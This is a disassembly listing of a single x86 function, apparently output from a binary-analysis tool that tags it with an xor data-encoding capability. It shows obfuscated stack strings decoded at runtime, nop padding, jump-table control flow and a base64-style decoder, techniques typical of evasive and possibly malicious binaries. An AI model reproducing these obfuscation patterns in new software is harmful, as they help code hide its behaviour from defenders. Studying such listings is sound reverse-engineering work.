Function at 0x42c7ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x910a9f09
mov dword [esp + 0x58], 0x95319337
mov dword [esp + 0x5c], 0x8948970b
mov dword [esp + 0x60], 0x8d028b2f
mov dword [esp + 0x64], 0x818e8f2b
mov word [esp + 0x68], 0
mov byte [esp + 0x6a], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x54]
mov edi, eax
and edi, 0xa
mov edx, ecx
xor edx, 0x9befbe5
add edx, edi
xor edx, esi
mov esi, 1
sub esi, edx
not esi
or esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0x86
mov byte [esp + ecx + 0x54], dl
inc ecx
add eax, 2
cmp ecx, 0x17
jne case.default.0x42b33d
lea ebx, [esp + 0x54]
lea ecx, [esp + 0x34]
push ebx
call fcn.0043e6e0
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44db80]
lea ecx, [esp + 0x34]
push 0x410
call fcn.0043e950
not eax
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44db88]
mov dword [esp + 0x54], 0x163fe01d
mov dword [esp + 0x58], 0xf80e3518
mov dword [esp + 0x5c], 0xcf50f29
mov dword [esp + 0x60], 0x13fa0a2d
mov dword [esp + 0x64], 0xf8272e12
mov dword [esp + 0x68], 0xfbdc2a25
mov dword [esp + 0x6c], 0xfef1daf6
mov dword [esp + 0x70], 0xf2dbfce7
mov dword [esp + 0x74], 0xdae8e2ee
mov dword [esp + 0x78], 0xeac7cde9
mov dword [esp + 0x7c], 0x87d6c9c9
mov dword [esp + 0x80], 0
mov eax, 0x56d656a
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x56d6516]
mov ecx, eax
and ecx, edx
add ecx, ecx
add edx, eax
mov esi, ecx
xor esi, edx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, esi
add cl, 0xee
mov byte [esp + eax - 0x56d6516], cl
inc eax
cmp eax, 0x56d659a
jne 0x42b3d0
lea eax, [esp + 0x48]
lea ecx, [esp + 0x34]
push 0
push 0x2b
push ebx
push eax
call fcn.0043f500
mov edi, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
xor eax, eax
cmp edi, esi
sete al
jmp dword [eax*4 + 0x44db90]
mov eax, esi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040ce10
add esp, 4
mov dword [esp + 0x30], 0
xor ecx, ecx
cmp edi, esi
setne cl
mov dword [esp + 0x2c], eax
mov dword [esp + 0x20], eax
jmp dword [ecx*4 + 0x44db98]
add edi, 8
xor eax, eax
mov esi, dword [esp + 0x28]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44db98]
mov dword [esp + 0x28], esi
mov esi, dword [edi]
mov dword [esp + 0xc], edi
mov edi, dword [edi + 4]
push 0x400
push 0
push ebx
call fcn.0040cfd0
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x34]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.0043f390
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 0x18]
or ecx, dword [esp + 0x1c]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44dba8]
mov eax, 1
mov edi, dword [esp + 0xc]
jmp dword [eax*4 + 0x44dbb0]
xor eax, eax
mov edi, dword [esp + 0xc]
jmp dword [eax*4 + 0x44dbb0]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor edx, edx
test al, al
je 0x42b521
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42b51f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42b510
jmp 0x42b521
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44dbb8]
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 4], edx
je 0x42b551
mov ecx, edx
cmp al, 0x2e
je 0x42b54f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42b540
jmp 0x42b551
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 4]
jmp dword [eax*4 + 0x44dbc0]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x42b57b
cmp eax, 0x2e
jne 0x42b57c
dec ecx
mov eax, dword [esp + 4]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x14], edx
je 0x42b593
cmp eax, 0x2e
jne 0x42b594
dec ecx
mov dword [esp + 0x44], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040ce10
add esp, 4
mov dword [esp + 0x10], eax
cmp esi, dword [esp + 4]
je 0x42b6cc
xor edi, edi
mov esi, 2
jmp 0x42b5e2
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [esi + 4]
add esi, 2
mov edi, ecx
cmp esi, ebx
mov esi, eax
jae 0x42b6cc
mov ebx, dword [esp + 4]
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.004224c0
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [ebx + esi - 1]
push eax
call fcn.004224c0
add esp, 4
movzx edx, al
mov ecx, edx
not ecx
or ecx, 0x30
add edx, ecx
inc edx
movzx ecx, byte [esp + 8]
shr edx, 4
lea edx, [edx + ecx*4]
mov ecx, dword [esp + 0x10]
mov byte [ecx + edi], dl
lea ecx, [edi + 1]
mov ebx, dword [esp + 0x14]
cmp esi, ebx
jae 0x42b5d0
mov byte [esp + 3], al
mov dword [esp + 8], edi
mov eax, dword [esp + 4]
movzx eax, byte [eax + esi]
push eax
mov edi, ecx
call fcn.004224c0
mov ecx, edi
mov ebx, dword [esp + 0x18]
add esp, 4
cmp al, 0x40
je 0x42b5d0
mov edi, dword [esp + 8]
lea ecx, [edi + 2]
mov dword [esp + 0x24], ecx
movzx edx, byte [esp + 3]
shl dl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, dl
mov edx, dword [esp + 0x10]
mov byte [edx + edi + 1], cl
lea ecx, [esi + 1]
cmp ecx, ebx
jae 0x42b5bf
mov ebx, eax
mov eax, dword [esp + 4]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.004224c0
add esp, 4
cmp al, 0x40
je 0x42b5bb
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 8]
mov byte [ecx + edx + 2], al
mov ecx, dword [esp + 0x24]
xor ecx, 1
and edx, 1
lea ecx, [ecx + edx*2]
mov ebx, dword [esp + 0x14]
jmp 0x42b5d0
mov eax, dword [esp + 0x44]
mov edi, dword [esp + 0x10]
mov byte [edi + eax], 0
push edi
call fcn.00403d70
add esp, 4
mov esi, eax
jmp dword [0x44dbc8]
push edi
call fcn.0040ce20
add esp, 4
mov dword [esp + 8], esi
push esi
call fcn.00404850
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44dbd0]
lea ebx, [esp + 0x54]
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 0x28]
jmp 0x42b819
mov dword [esp + 0x18], 0x7f18ecef
lea ecx, [esp + 0x1c]
mov byte [ecx + 2], 0
mov word [ecx], 0
mov ecx, 0xe454c86a
mov edx, 0x95
nop
nop
nop
movzx esi, byte [esp + ecx + 0x1bab37ae]
mov edi, esi
not edi
or edi, edx
mov ebx, edi
not ebx
or esi, ecx
or esi, ebx
add esi, edi
inc esi
mov edi, esi
and edi, 0x6d
mov ebx, esi
xor ebx, 0x8a5815ed
lea edi, [ebx + edi*2]
and ebx, 1
and esi, 1
and edi, 0xfe
lea ebx, [esi + ebx*2]
add ebx, edi
mov byte [esp + ecx + 0x1bab37ae], bl
inc ecx
dec edx
cmp ecx, 0xe454c871
jne 0x42b740
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.00404610
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [esp + 0x20]
jmp dword [ecx*4 + 0x44dbd8]
movzx ecx, byte [eax]
test cl, cl
je 0x42b7cb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x42b7c0
mov byte [edx], 0
mov word [edx], 0x203a
add edx, 2
mov eax, dword [case.0x42b55c.6]
nop
nop
nop
nop
nop
jmp eax
movzx eax, byte [esp + 0x54]
test al, al
lea ebx, [esp + 0x54]
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 0x28]
je 0x42b80b
lea ecx, [esp + 0x55]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x42b800
mov byte [edx], 0xa
inc edx
mov dword [esp + 0x20], edx
mov al, 1
mov dword [esp + 0x30], eax
push dword [esp + 8]
call fcn.00404e00
add esp, 4
add edi, 8
xor eax, eax
cmp edi, esi
setne al
jmp dword [eax*4 + 0x44db98]
mov ecx, dword [esp + 0x30]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44dba0]
jmp dword [0x44dbf0]
xor ecx, ecx
test edi, edi
jne 0x42b943
jmp case.0x42b33d.0
mov esi, dword [esp + 0x20]
mov byte [esi], 0
mov dword [esp + 0x54], 0xd5d6d787
mov dword [esp + 0x58], 0xd1a1aeab
mov dword [esp + 0x5c], 0xd4d8dea7
mov dword [esp + 0x60], 0x9ad6b699
mov dword [esp + 0x64], 0x8da7e097
mov dword [esp + 0x68], 0xeb9de6e1
mov dword [esp + 0x6c], 0xe1e2a9e1
mov word [esp + 0x70], 0x7be4
mov dword [esp + 0x72], 0
mov byte [esp + 0x76], 0
mov edx, 0xfdeab91
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0xfdeab3d]
mov ebx, eax
mov edi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0x2b
mov byte [esp + edx - 0xfdeab3d], al
inc edx
cmp edx, 0xfdeabb4
jne 0x42b8c0
mov edx, dword [esp + 0x2c]
sub esi, edx
lea eax, [esp + 0x54]
mov ecx, dword [ebp + 8]
push esi
push edx
push eax
call fcn.0040d8e0
mov ecx, eax
jmp dword [0x44dbf0]
push dword [esp + 0x2c]
mov esi, ecx
call fcn.0040ce20
mov ecx, esi
add esp, 4
and cl, 1
mov edi, dword [esp + 0x48]
mov esi, dword [esp + 0x4c]
test edi, edi
je case.0x42b33d.0
cmp edi, esi
je case.0x42b33d.0
push edi
mov esi, ecx
call fcn.0040ce20
mov ecx, esi
add esp, 4
mov ebx, ecx
lea ecx, [esp + 0x34]
call fcn.0043eaa0
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [ebp - 0x28]
mov dword [edx], 0x5303a21
mov dword [edx + 4], 0x3e083801
mov dword [edx + 8], 0x353d29f5
mov dword [edx + 0xc], 0x30ef240a
mov dword [edx + 0x10], 0x2a252010
mov dword [edx + 0x14], 0x282bc8e9
mov dword [edx + 0x18], 0x1d201825
mov word [edx + 0x1c], 0xef1d
mov dword [edx + 0x1e], 0
mov eax, 0xca97f7a2
mov edi, 0x3568085d
nop
nop
nop
nop
movzx ebx, byte [edx + eax + 0x3568085e]
lea ecx, [eax + 1]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], ebx
or ecx, ebx
not ebx
lea edx, [edi - 1]
mov dword [ebp - 0x14], edx
or edx, ebx
and edx, ecx
not edx
mov esi, dword [ebp - 0x10]
and edx, esi
lea ecx, [edi + edx*2]
and ecx, ebx
add edx, edx
mov ebx, eax
sub ebx, edx
mov edx, dword [ebp - 0x28]
and ebx, dword [ebp - 0x24]
sub ebx, ecx
add bl, 0xd1
mov byte [edx + eax + 0x3568085e], bl
mov edi, dword [ebp - 0x14]
mov ecx, esi
mov eax, esi
cmp esi, 0xca97f7c4
jne 0x42bab0
mov ecx, dword [ebp - 0x60]
push edx
call fcn.0042ea10
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [ebp - 0x1c]
jmp dword [ecx*4 + 0x44dc50]
add eax, 8
mov ecx, dword [eax]
xor eax, eax
mov dword [ebp - 0x3c], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44dc58]
mov ecx, dword [ebp - 0x3c]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
mov dword [ebp - 0x3c], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x44dc58]
jmp dword [0x44dc60]
mov edi, dword [ebx]
mov esi, dword [ebx + 4]
mov edx, edi
not edx
and edx, esi
mov eax, esi
not eax
and eax, edi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
sub edx, eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
cmp esi, dword [ebx + 8]
je 0x42bb90
mov eax, esi
sub eax, edi
mov ebx, edi
jmp 0x42bc35
mov eax, esi
sub eax, edi
mov dword [ebp - 0x14], eax
sar eax, 3
mov ebx, eax
shr ebx, 1
add ebx, eax
mov dword [ebp - 0x10], edx
mov eax, edx
sar eax, 3
inc eax
cmp ebx, eax
ja 0x42bbaf
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov edx, ebx
mov dword [ebp - 0x48], ebx
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.0040ce10
add esp, 4
mov ebx, eax
test edi, edi
je 0x42bc1b
cmp edi, esi
je 0x42bc12
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x42bbf0
push edi
call fcn.0040ce20
add esp, 4
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0x10]
lea eax, [ebx + edx]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x48]
lea eax, [ebx + eax*8]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
cmp eax, edx
jae 0x42bd50
add edx, edi
sub edx, esi
mov ecx, dword [ebp - 0x14]
lea eax, [ebx + ecx]
add eax, 8
add ebx, ecx
cmp edx, 8
jle 0x42bc9a
mov dword [ebp - 0x10], edx
and edx, 0x7ffffffe
mov ecx, dword [ebp - 0x10]
not ecx
and ecx, 1
sub edx, ecx
add ebx, edx
mov ecx, dword [ebp - 0x10]
and ecx, 7
je 0x42bcdd
neg ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebx + edx]
mov byte [ebx + edx + 8], al
dec edx
cmp ecx, edx
jne 0x42bc80
lea eax, [ebx + edx]
add eax, 8
add ebx, edx
add dword [ebp - 0x10], edx
jmp 0x42bcdf
mov ecx, edx
shr ecx, 2
mov esi, edx
mov edx, ebx
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, esi
and edx, 0xfffffffc
add eax, edx
add edx, ebx
mov ebx, esi
mov ecx, esi
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
je 0x42bd50
and ebx, 2
movzx ecx, byte [edx + ebx]
mov byte [eax + ebx], cl
jmp 0x42bd50
add eax, edx
mov ecx, dword [ebp - 0x28]
add ecx, edi
mov edx, dword [ebp - 0x2c]
add edx, esi
not edx
add edx, ecx
cmp edx, 7
mov esi, dword [ebp - 0x10]
jb 0x42bd50
neg esi
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ecx]
mov byte [eax + ecx], dl
movzx edx, byte [ebx + ecx - 1]
mov byte [eax + ecx - 1], dl
movzx edx, byte [ebx + ecx - 2]
mov byte [eax + ecx - 2], dl
movzx edx, byte [ebx + ecx - 3]
mov byte [eax + ecx - 3], dl
movzx edx, byte [ebx + ecx - 4]
mov byte [eax + ecx - 4], dl
movzx edx, byte [ebx + ecx - 5]
mov byte [eax + ecx - 5], dl
movzx edx, byte [ebx + ecx - 6]
mov byte [eax + ecx - 6], dl
movzx edx, byte [ebx + ecx - 7]
mov byte [eax + ecx - 7], dl
add ecx, 0xfffffff8
cmp esi, ecx
jne 0x42bd00
nop
nop
nop
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebx]
mov edx, dword [ebp - 0x24]
call fcn.0042f850
add dword [ebx + 4], 8
jmp case.0x42b55c.40
mov ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebx]
mov edx, dword [ebp - 0x24]
call fcn.0042f850
add dword [ebx + 4], 8
jmp dword [0x44dc68]
mov edi, dword [ebx]
mov esi, dword [ebx + 4]
mov edx, edi
not edx
and edx, esi
mov eax, esi
not eax
and eax, edi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
sub edx, eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
cmp esi, dword [ebx + 8]
je 0x42bdc0
mov eax, esi
sub eax, edi
mov ebx, edi
jmp 0x42be65
mov eax, esi
sub eax, edi
mov dword [ebp - 0x14], eax
sar eax, 3
mov ebx, eax
shr ebx, 1
add ebx, eax
mov dword [ebp - 0x10], edx
mov eax, edx
sar eax, 3
inc eax
cmp ebx, eax
ja 0x42bddf
mov ebx, eax
mov eax, ebx
and eax, 0xfffffff7
mov ecx, ebx
and ecx, 8
mov edx, ebx
mov dword [ebp - 0x48], ebx
or edx, 8
imul edx, ecx
xor ecx, 8
imul ecx, eax
add edx, ecx
push edx
call fcn.0040ce10
add esp, 4
mov ebx, eax
test edi, edi
je 0x42be4b
cmp edi, esi
je 0x42be42
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x42be20
push edi
call fcn.0040ce20
add esp, 4
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0x10]
lea eax, [ebx + edx]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x48]
lea eax, [ebx + eax*8]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
cmp eax, edx
jae 0x42bd70
add edx, edi
sub edx, esi
mov ecx, dword [ebp - 0x14]
lea eax, [ebx + ecx]
add eax, 8
add ebx, ecx
cmp edx, 8
jle 0x42bed0
mov dword [ebp - 0x10], edx
and edx, 0x7ffffffe
mov ecx, dword [ebp - 0x10]
not ecx
and ecx, 1
sub edx, ecx
add ebx, edx
mov ecx, dword [ebp - 0x10]
and ecx, 7
je 0x42bf16
neg ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebx + edx]
mov byte [ebx + edx + 8], al
dec edx
cmp ecx, edx
jne 0x42beb0
lea eax, [ebx + edx]
add eax, 8
add ebx, edx
add dword [ebp - 0x10], edx
jmp 0x42bf18
mov ecx, edx
shr ecx, 2
mov esi, edx
mov edx, ebx
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, esi
and edx, 0xfffffffc
add eax, edx
add edx, ebx
mov ebx, esi
mov ecx, esi
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
je 0x42bd70
and ebx, 2
movzx ecx, byte [edx + ebx]
mov byte [eax + ebx], cl
jmp 0x42bd70
add eax, edx
mov ecx, dword [ebp - 0x28]
add ecx, edi
mov edx, dword [ebp - 0x2c]
add edx, esi
not edx
add edx, ecx
cmp edx, 7
mov esi, dword [ebp - 0x10]
jb 0x42bd70
neg esi
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ecx]
mov byte [eax + ecx], dl
movzx edx, byte [ebx + ecx - 1]
mov byte [eax + ecx - 1], dl
movzx edx, byte [ebx + ecx - 2]
mov byte [eax + ecx - 2], dl
movzx edx, byte [ebx + ecx - 3]
mov byte [eax + ecx - 3], dl
movzx edx, byte [ebx + ecx - 4]
mov byte [eax + ecx - 4], dl
movzx edx, byte [ebx + ecx - 5]
mov byte [eax + ecx - 5], dl
movzx edx, byte [ebx + ecx - 6]
mov byte [eax + ecx - 6], dl
movzx edx, byte [ebx + ecx - 7]
mov byte [eax + ecx - 7], dl
add ecx, 0xfffffff8
cmp esi, ecx
jne 0x42bf40
jmp 0x42bd70
push ebx
call fcn.0040ce20
add esp, 4
mov eax, dword [edi]
mov dword [ebp - 0x5c], 0x60676665
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 2
mov ebx, edx
xor ebx, 0xe9
add ebx, esi
xor bl, byte [ebp + edx - 0x5c]
add bl, 0x73
mov byte [ebp + edx - 0x5c], bl
inc edx
add ecx, 2
cmp edx, 4
jne 0x42c350
mov ecx, dword [0x451e48]
test ecx, ecx
mov ebx, dword [ebp - 0x1c]
je case.0x42b55c.28
mov edx, dword [ebp - 0x5c]
xor esi, esi
mov edi, dword [0x451e4c]
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42c3a3
inc esi
cmp ecx, esi
jne 0x42c390
jmp case.0x42b55c.28
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42b55c.28
push eax
push 1
push ecx
push dword [0x451e50]
call fcn.00441a80
add esp, 0x10
jmp dword [0x44dc80]
xor eax, eax
cmp word [esi], 0x2a
sete al
mov ebx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44dc18]
jmp dword [0x44dc20]
jmp dword [0x44dc78]
push eax
sub esp, 0x18
mov eax, esp
sub esp, 0x54
mov ecx, esp
mov dword [eax], 0x1fac1951
mov dword [eax + 4], 0x63d61dab
mov dword [eax + 8], 0x67ca61c1
mov dword [eax + 0xc], 0x6b3a65c8
mov dword [eax + 0x10], 0x6fda69c9
mov dword [eax + 0x14], 0x73726dc4
mov dword [eax + 0x18], 0
xor edx, edx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
and edi, 0x1c
mov ebx, esi
xor ebx, 0xce
add ebx, edi
add bl, 0xec
xor bl, byte [eax + esi]
add bl, 0x5e
mov byte [eax + esi], bl
inc esi
add edx, 2
cmp esi, 0x1c
jne 0x42c550
mov esi, eax
mov dword [ecx], 0xff08f904
mov dword [ecx + 4], 0xe329fd39
mov dword [ecx + 8], 0xe711e129
mov dword [ecx + 0xc], 0xeb1ce510
mov dword [ecx + 0x10], 0xef12e911
mov dword [ecx + 0x14], 0x9353ed21
mov dword [ecx + 0x18], 0x975e9157
mov dword [ecx + 0x1c], 0x9b68955d
mov dword [ecx + 0x20], 0x9f62995d
mov dword [ecx + 0x24], 0x83719d6b
mov dword [ecx + 0x28], 0x8772814a
mov dword [ecx + 0x2c], 0x8b4b857f
mov dword [ecx + 0x30], 0x8f4b897e
mov dword [ecx + 0x34], 0xb3488d70
mov dword [ecx + 0x38], 0xb75ab151
mov dword [ecx + 0x3c], 0xbb5fb52e
mov dword [ecx + 0x40], 0xbf49b944
mov dword [ecx + 0x44], 0xa347bd28
mov dword [ecx + 0x48], 0xa74ba141
mov word [ecx + 0x4c], 0xa5a4
mov byte [ecx + 0x52], 0
mov dword [ecx + 0x4e], 0
mov edx, 0xd1214eaa
movzx eax, byte [ecx + edx + 0x2edeb156]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0xae
mov byte [ecx + edx + 0x2edeb156], al
inc edx
cmp edx, 0xd1214efd
jne 0x42c610
push esi
push ecx
call fcn.0043c870
add esp, 8
push eax
sub esp, 0x18
mov edx, esp
sub esp, 0x54
mov dword [ebp - 0x24], esp
sub esp, 0xc
mov dword [ebp - 0x1c], esp
sub esp, 0x2c
mov dword [ebp - 0x14], esp
sub esp, 0x30
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x2c], esp
sub esp, 0x24
mov dword [ebp - 0x28], esp
sub esp, 0x40
mov dword [ebp - 0x18], esp
sub esp, 0x44
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x34], esp
sub esp, 0x28
mov dword [ebp - 0x30], esp
sub esp, 8
mov dword [ebp - 0x68], esp
sub esp, 8
mov dword [ebp - 0x70], esp
sub esp, 8
mov dword [ebp - 0x4c], esp
sub esp, 0x24
mov eax, esp
mov dword [edx], 0x1fac1951
mov dword [edx + 4], 0x63d61dab
mov dword [edx + 8], 0x67ca61c1
mov dword [edx + 0xc], 0x6b3a65c8
mov dword [edx + 0x10], 0x6fda69c9
mov dword [edx + 0x14], 0x73726dc4
mov dword [edx + 0x18], 0
xor esi, esi
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, edx
mov edx, esi
and edx, 0x1c
mov ebx, edi
xor ebx, 0xce
add ebx, edx
mov edx, ecx
add bl, 0xec
xor bl, byte [ecx + edi]
add bl, 0x5e
mov byte [ecx + edi], bl
inc edi
add esi, 2
cmp edi, 0x1c
jne 0x42c6e0
mov dword [ebp - 0x64], eax
mov esi, dword [ebp - 0x24]
mov dword [esi], 0xff08f904
mov dword [esi + 4], 0xe329fd39
mov dword [esi + 8], 0xe711e129
mov dword [esi + 0xc], 0xeb1ce510
mov dword [esi + 0x10], 0xef12e911
mov dword [esi + 0x14], 0x9353ed21
mov dword [esi + 0x18], 0x975e9157
mov dword [esi + 0x1c], 0x9b68955d
mov dword [esi + 0x20], 0x9f62995d
mov dword [esi + 0x24], 0x83719d6b
mov dword [esi + 0x28], 0x8772814a
mov dword [esi + 0x2c], 0x8b4b857f
mov dword [esi + 0x30], 0x8f4b897e
mov dword [esi + 0x34], 0xb3488d70
mov dword [esi + 0x38], 0xb75ab151
mov dword [esi + 0x3c], 0xbb5fb52e
mov dword [esi + 0x40], 0xbf49b944
mov dword [esi + 0x44], 0xa347bd28
mov dword [esi + 0x48], 0xa74ba141
mov word [esi + 0x4c], 0xa5a4
mov byte [esi + 0x52], 0
mov dword [esi + 0x4e], 0
mov edx, 0xd1214eaa
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + edx + 0x2edeb156]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0xae
mov byte [esi + edx + 0x2edeb156], al
inc edx
cmp edx, 0xd1214efd
jne 0x42c7b0
push ecx
push esi
call fcn.0043c870
add esp, 8
mov edi, dword [ebp - 0x14]
jmp dword [0x44dc04]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44dc08]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx + 8], 0
mov dword [ebx + 4], 0
mov dword [ebx], 0
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x42c820
cmp ecx, 0xffffffd9
mov dword [ebp - 0x24], eax
jge 0x42c844
mov ecx, 0xffffffff
jmp 0x42c847
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
add ecx, 0x26
push ecx
call fcn.0040ce10
add esp, 4
mov dword [ebp - 0x44], eax
mov dword [edi], 0x13711174
mov dword [edi + 4], 0x1f881d8b
mov dword [edi + 8], 0x1b731976
mov dword [edi + 0xc], 0x762056b
mov dword [edi + 0x10], 0x3950163
mov dword [edi + 0x14], 0xf600d9a
mov dword [edi + 0x18], 0xb650961
mov dword [edi + 0x1c], 0x37a83562
mov dword [edi + 0x20], 0x335c315c
mov word [edi + 0x24], 0x3d3c
mov dword [edi + 0x26], 0
mov word [edi + 0x2a], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 8
mov edx, ecx
xor edx, 4
add edx, esi
xor dl, byte [edi + ecx]
add dl, 0xec
mov byte [edi + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x2c
jne 0x42c8b0
mov eax, dword [ebp - 0x24]
movzx edx, word [eax]
mov esi, dword [ebp - 0x44]
mov ecx, esi
test dx, dx
je 0x42c901
mov edi, eax
add edi, 2
